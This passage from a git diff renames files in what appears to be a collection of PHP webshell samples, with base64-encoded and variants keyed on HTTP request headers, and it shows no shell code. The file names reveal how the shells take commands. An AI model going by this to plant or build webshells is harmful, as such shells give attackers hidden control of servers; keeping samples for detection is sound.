webshell/NINJA/GARBAGE_COLLECTOR/aizawa_ninja_gc_b64.php rename to webshells/NINJA/GARBAGE_COLLECTOR/aizawa_ninja_gc_b64.php diff --git a/webshell/NINJA/JSON_SERIALIZER/aizawa_ninja_json_.php b/webshells/NINJA/JSON_SERIALIZER/aizawa_ninja_json_.php similarity index 100% rename from webshell/NINJA/JSON_SERIALIZER/aizawa_ninja_json_.php rename to webshells/NINJA/JSON_SERIALIZER/aizawa_ninja_json_.php diff --git a/webshell/NINJA/JSON_SERIALIZER/aizawa_ninja_json_b64.php b/webshells/NINJA/JSON_SERIALIZER/aizawa_ninja_json_b64.php similarity index 100% rename from webshell/NINJA/JSON_SERIALIZER/aizawa_ninja_json_b64.php rename to webshells/NINJA/JSON_SERIALIZER/aizawa_ninja_json_b64.php diff --git a/webshell/NINJA/USER_FILTER/aizawa_ninja_filter_.php b/webshells/NINJA/USER_FILTER/aizawa_ninja_filter_.php similarity index 100% rename from webshell/NINJA/USER_FILTER/aizawa_ninja_filter_.php rename to webshells/NINJA/USER_FILTER/aizawa_ninja_filter_.php diff --git a/webshell/NINJA/USER_FILTER/aizawa_ninja_filter_b64.php b/webshells/NINJA/USER_FILTER/aizawa_ninja_filter_b64.php similarity index 100% rename from webshell/NINJA/USER_FILTER/aizawa_ninja_filter_b64.php rename to webshells/NINJA/USER_FILTER/aizawa_ninja_filter_b64.php diff --git a/webshell/POST/HTTP_ACCEPT_LANGUAGE/post_aizawa_hal_.php b/webshells/POST/HTTP_ACCEPT_LANGUAGE/post_aizawa_hal_.php similarity index 100% rename from webshell/POST/HTTP_ACCEPT_LANGUAGE/post_aizawa_hal_.php rename to webshells/POST/HTTP_ACCEPT_LANGUAGE/post_aizawa_hal_.php diff --git a/webshell/POST/HTTP_ACCEPT_LANGUAGE/post_aizawa_hal_b64.php b/webshells/POST/HTTP_ACCEPT_LANGUAGE/post_aizawa_hal_b64.php similarity index 100% rename from webshell/POST/HTTP_ACCEPT_LANGUAGE/post_aizawa_hal_b64.php rename to webshells/POST/HTTP_ACCEPT_LANGUAGE/post_aizawa_hal_b64.php diff --git a/webshell/POST/HTTP_USER_AGENT/post_aizawa_hua_.php b/webshells/POST/HTTP_USER_AGENT/post_aizawa_hua_.php similarity index 100% rename from webshell/POST/HTTP_USER_AGENT/post_aizawa_hua_.php rename to webshells/POST/HTTP_USER_AGENT/post_aizawa_hua_.php diff --git a/webshell/POST/HTTP_USER_AGENT/post_aizawa_hua_b64.php b/webshells/POST/HTTP_USER_AGENT/post_aizawa_hua_b64.php similarity index 100% rename from webshell/POST/HTTP_USER_AGENT/post_aizawa_hua_b64.php rename to webshells/POST/HTTP_USER_AGENT/post_aizawa_hua_b64.php